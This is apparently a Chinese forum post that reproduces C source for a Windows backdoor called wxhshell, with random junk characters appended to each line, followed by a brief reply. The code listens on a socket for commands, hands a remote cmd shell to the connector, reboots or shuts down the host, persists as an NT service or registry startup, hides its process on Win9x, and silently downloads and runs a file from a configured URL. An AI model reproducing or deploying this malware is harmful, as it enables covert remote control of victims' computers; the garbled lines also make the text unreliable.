  else { 1(YEOZ  
hvFXYq_[O  
    switch(cmd[0]) { ?'8(']/  
  Nn/f*GDvK  
  // 帮助 HxAN&g *:  
  case '?': { 39yp1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #/,WgsAC  
    break; !T|q/ri  
  } X]1Q# $b  
  // 安装 }Sx+:N*  
  case 'i': { /0_^Z2  
    if(Install()) f, iHM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5R%4fzr&g  
    else A &tMj?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G u4mP  
    break; n OQvBc  
    } m>:zwz< ;  
  // 卸载 SDbR(oV  
  case 'r': { Ovhd%qV;Y  
    if(Uninstall()) ]ZI ?U<0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E9bc pup  
    else v<AFcY   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AE@N:a  
    break; ll^#I/  
    } 6rll0c~  
  // 显示 wxhshell 所在路径 />dH\KvN  
  case 'p': { u}0U!  
    char svExeFile[MAX_PATH]; |y%M";MI  
    strcpy(svExeFile,"\n\r"); [-p?gyl  
      strcat(svExeFile,ExeFile); Z(|'zAb^  
        send(wsh,svExeFile,strlen(svExeFile),0); 3 q^^Os  
    break; 3;'RF#VL  
    } JFOXrRR=d  
  // 重启 2FxrjA  
  case 'b': { -}G>{5.A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vb++K0CK  
    if(Boot(REBOOT)) +FBUB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5*hA6Ex7  
    else { (/[wM>q:r  
    closesocket(wsh); A dL>?SG%  
    ExitThread(0); YVW`|'7)|  
    }  N3m~nEj  
    break; AM:lU  
    } '2:HBJ  
  // 关机 2 )F~  
  case 'd': { ^fqco9^;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z[GeU>?P  
    if(Boot(SHUTDOWN)) B.Y8O^rx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $gPR3*0  
    else { ]m=2 $mK  
    closesocket(wsh); Ap)pOD7  
    ExitThread(0); 2S@aG%-)  
    } ><DXT nt'x  
    break; GS qt:<Qs  
    } @UwDsx&2(t  
  // 获取shell ++|vy~T  
  case 's': { XdV(=PS!a@  
    CmdShell(wsh); D=_FrEM_IA  
    closesocket(wsh); 9>!B .Z?!#  
    ExitThread(0); )+dd  
    break; u d$*/ )/  
  } LEJn 1  
  // 退出 O <#H5/Tq  
  case 'x': { 8h$f6JE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j1i<.,0g  
    CloseIt(wsh); &Ndq ^!e  
    break; d3&l!DoX  
    } kNC]q,ljt5  
  // 离开 Z9p`78kYyh  
  case 'q': { *Hed^[sO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ( SiwO.TZ  
    closesocket(wsh); oaGpqjBGQ  
    WSACleanup(); _J ZlXY  
    exit(1); RA ER\9i  
    break; S&z8-D=8k  
        } bo_Tp~ j  
  }  ?@iGECll  
  } nS9 kwaO  
BWev(SF{Ny  
  // 提示信息 W_FN*Er  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0UN65JBuD  
} %(d0`9  
  } +et)!2N  
f~Ve7   
  return; i7|sVz=  
} >,A&(\rO  
e;r?g67  
// shell模块句柄 D&/~lhyNZ  
int CmdShell(SOCKET sock) sV$Zf `X)  
{ lCxPR'C|  
STARTUPINFO si; 4VI'd|Ed  
ZeroMemory(&si,sizeof(si)); a<Ksas'5S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =2R0 g2n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ",>,t_J  
PROCESS_INFORMATION ProcessInfo; CU_8 `}  
char cmdline[]="cmd"; d45mKla(V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7&Qf))L  
  return 0; nmy!.0SQ-  
} dA[S@ysvG  
]`T*}$|  
// 自身启动模式 5o2vj8::  
int StartFromService(void) ?D9>N'yH8  
{ i$"M'BG  
typedef struct 4Tn97G7  
{ /PTk296@  
  DWORD ExitStatus; |0s)aV|K  
  DWORD PebBaseAddress; XFJz\'{  
  DWORD AffinityMask; +xojnv  
  DWORD BasePriority; n"|1A..^  
  ULONG UniqueProcessId; <}n"gk1is  
  ULONG InheritedFromUniqueProcessId; %P HYJc  
}   PROCESS_BASIC_INFORMATION; %?i~`0-:n%  
BU=;rz!;  
PROCNTQSIP NtQueryInformationProcess; Z O\x|E!b  
~ "stI   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]Z=O+7(r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ! ~3zp L  
"S^ ""5  
  HANDLE             hProcess; g$9EI\a  
  PROCESS_BASIC_INFORMATION pbi;  Mcm%G#  
W*.6'u)9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s%Irh;Bs  
  if(NULL == hInst ) return 0; 344E4F"ph  
~pG,|\9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o@@, }  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \ ix& U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;^9y#muk  
'FN+BvD  
  if (!NtQueryInformationProcess) return 0; u~\l~v^mj  
@; 0t+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~xakz BE  
  if(!hProcess) return 0; 1b`WzoJgH  
L2`a| T=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7>!Rg~M  
.xV^%e?H  
  CloseHandle(hProcess); 3.E3}Jz`  
2Wp)CI<\D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g#s hd~e  
if(hProcess==NULL) return 0; z=pGu_`2  
! w2BD^V-  
HMODULE hMod; MVXy)9q  
char procName[255]; v|@1W Uc,g  
unsigned long cbNeeded; ,;k`N`#'  
/^Ng7Mi!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ![3l K  
rJUXIV>z  
  CloseHandle(hProcess); vD3j(d  
SU>cJ*  
if(strstr(procName,"services")) return 1; // 以服务启动 <MzXTy3\  
oa2v/P1`  
  return 0; // 注册表启动 Pt[ b;}  
} L6n<h  
hB??~>i3  
// 主模块 p$_X\,F  
int StartWxhshell(LPSTR lpCmdLine) t;L7H E@Y  
{ d[$YTw  
  SOCKET wsl; .g52p+Z#  
BOOL val=TRUE; ]JvZ{fA%*  
  int port=0; *Y<1KXFU  
  struct sockaddr_in door; 'RzzLk|$  
}Sv\$h  
  if(wscfg.ws_autoins) Install(); M TOZ:b  
*wu|(t_ A  
port=atoi(lpCmdLine); C[s='v~}  
U8GvUysB!  
if(port<=0) port=wscfg.ws_port; !7y:|k,ac  
gSt'<v  
  WSADATA data; X].Igb)2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7kq6VS;p  
[&K"OQ^\2h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N= {0A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZP;WXB`  
  door.sin_family = AF_INET; t^SND{[WcM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gQ=l\/ H  
  door.sin_port = htons(port); `~+[pY 1r  
w .+B h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |jJ9dTD8/  
closesocket(wsl); ? H7?>ZE  
return 1; aa,^+^J  
} dO|n[/qL0  
>v1ajI>O&{  
  if(listen(wsl,2) == INVALID_SOCKET) { idSc#n22  
closesocket(wsl); ;`:A(yN]T  
return 1; t:yJ~En]=  
} 7xoq:oP-}N  
  Wxhshell(wsl); K} TSwY  
  WSACleanup(); xF])NZy|  
}e0>Uk`[  
return 0; `z~L0h  
8;Eg>_cL:  
} b2G1@f.U  
y.+!+4Mg|  
// 以NT服务方式启动 ]Yx&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BfdS3VrZ/  
{ I.hy"y2&  
DWORD   status = 0; B f"L;L  
  DWORD   specificError = 0xfffffff; pu,|_N[xq8  
uL9O_a;!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b_>x;5k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u]jvXPE6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z-G*:DfgH  
  serviceStatus.dwWin32ExitCode     = 0; 1CA% nqlng  
  serviceStatus.dwServiceSpecificExitCode = 0; }x(Ewr  
  serviceStatus.dwCheckPoint       = 0; 1}"Prx-  
  serviceStatus.dwWaitHint       = 0; Bl/Z _@  
#bmbK{[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (Qj;B)  
  if (hServiceStatusHandle==0) return; /j;HM[  
]/c!;z  
status = GetLastError(); _8&a%?R@W  
  if (status!=NO_ERROR) EVW\Z 2N.  
{ uE-|]QQo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~U<=SyZYo  
    serviceStatus.dwCheckPoint       = 0; WIYWql>*  
    serviceStatus.dwWaitHint       = 0; dj5@9X  
    serviceStatus.dwWin32ExitCode     = status; Twq,6X-  
    serviceStatus.dwServiceSpecificExitCode = specificError; + 3c (CTz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  RR[1mM  
    return; +~za6  
  } O 2W2&vY  
rYPj3!#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7p[NuU*Gg  
  serviceStatus.dwCheckPoint       = 0; )2: ,E  
  serviceStatus.dwWaitHint       = 0; 4v;KtD;M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]Pf!wv  
} NXSjN~aG2  
(=t41-l  
// 处理NT服务事件,比如:启动、停止 |0xP'(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OXD*ZKi8  
{ z\c$$+t  
switch(fdwControl) VJOB+CKE  
{ Y20T$5{#  
case SERVICE_CONTROL_STOP: }-T :   
  serviceStatus.dwWin32ExitCode = 0; CC|=$(PgT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IZOO>-g'f  
  serviceStatus.dwCheckPoint   = 0; HL~DIC%  
  serviceStatus.dwWaitHint     = 0; eoxEnCU  
  { 0i~?^sT'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dr^MW?{a\  
  } y!/:1BHlm  
  return; p"d_+  
case SERVICE_CONTROL_PAUSE: dlCmSCp%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `{  ` W-C  
  break; >\'gIIs  
case SERVICE_CONTROL_CONTINUE: U)] }EgpF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DQ hstXX  
  break; iE,/x^&,&  
case SERVICE_CONTROL_INTERROGATE: A1F!I4p5  
  break; k293 wS  
}; $<F9;Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I T gzD"d  
} m\@q2l-  
O[15x H,  
// 标准应用程序主函数 LjPpnjU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WuMr";2*E  
{ 'Oa(]Br[  
I;+>@Cn(g<  
// 获取操作系统版本 *s$:"g-  
OsIsNt=GetOsVer(); sPRo=LB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D),hSqJ"  
tLzKM+Ct#  
  // 从命令行安装 = PIarUJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); }$@E pM  
A}G>JL  
  // 下载执行文件 npMPjknl  
if(wscfg.ws_downexe) { ".sRi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kS< 9cy[O  
  WinExec(wscfg.ws_filenam,SW_HIDE); nJcY>Rp?  
} QS%t:,0lp  
z@U5  
if(!OsIsNt) { j6#Vwcr  
// 如果时win9x,隐藏进程并且设置为注册表启动 To =JE}jzo  
HideProc(); =PYS5\k  
StartWxhshell(lpCmdLine); CSlPrx2\  
} e|eWV{Dsz  
else $ Qcr8~+a  
  if(StartFromService()) q*7:L  
  // 以服务方式启动 BjV;/<bt  
  StartServiceCtrlDispatcher(DispatchTable); uQiW{Kja2  
else R/jHH{T3  
  // 普通方式启动 Y Sux#*#H  
  StartWxhshell(lpCmdLine); !XQ)>T^G5  
*&tv(+P  
return 0; T4h&ly5 f  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八